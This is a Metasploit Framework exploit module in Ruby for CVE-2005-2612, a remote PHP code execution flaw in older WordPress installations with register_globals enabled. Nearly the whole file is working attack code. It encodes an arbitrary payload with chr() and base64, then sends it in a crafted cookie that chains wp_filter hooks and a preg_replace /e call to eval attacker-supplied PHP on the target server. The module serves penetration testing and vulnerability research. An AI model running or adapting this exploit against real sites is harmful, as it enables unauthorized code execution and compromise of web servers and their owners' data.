root/framework3/trunk/modules/exploits/unix/webapp/php_wordpress_lastpost.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Unix::Webapp::Wordpress_LastPost_Execution < Msf::Exploit::Remote

        include Exploit::Remote::Tcp
        include Exploit::Remote::HttpClient

        def initialize(info = {})
                super(update_info(info, 
                        'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
                        'Description'    => %q{
                This module exploits an arbitrary PHP code execution flaw in the WordPress
                        blogging software. This vulnerability is only present when the PHP 'register_globals'
                        option is enabled (common for hosting providers). All versions of WordPress prior to
                        1.5.1.3 are affected.
                        },
                        'Author'         => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision$',
                        'References'     =>
                                [
                                        ['OSVDB', '18672'],
                                        ['CVE', '2005-2612'],
                                        ['BID', '14533'],
                                        ['MIL', '86'],
                                ],
                        'Privileged'     => false,
                        'Payload'        =>
                                {
                                        'DisableNops' => true,
                                        'Space'       => 512,
                                },
                        'Platform'       => 'php',
                        'Arch'           => ARCH_PHP,
                        'Targets'        => [[ 'Automatic', { }]],
                        'DisclosureDate' => 'Aug 9 2005',
                        'DefaultTarget' => 0))
                        
                        register_options(
                                [
                                        OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
                                ], self.class)
        end

        def exploit
                
                enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
                str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
                data =
                        "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
                        "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
                        "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
                        ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
                        "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
                        "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

                # Trigger the command execution bug
                res = send_request_cgi({
                        'uri'      => datastore['URI'],
                        'cookie'   => data
                }, 25)          
                
                if (res)
                        print_status("The server returned: #{res.code} #{res.message}")
                else
                        print_status("No response from the server")
                end
        end
        
end
end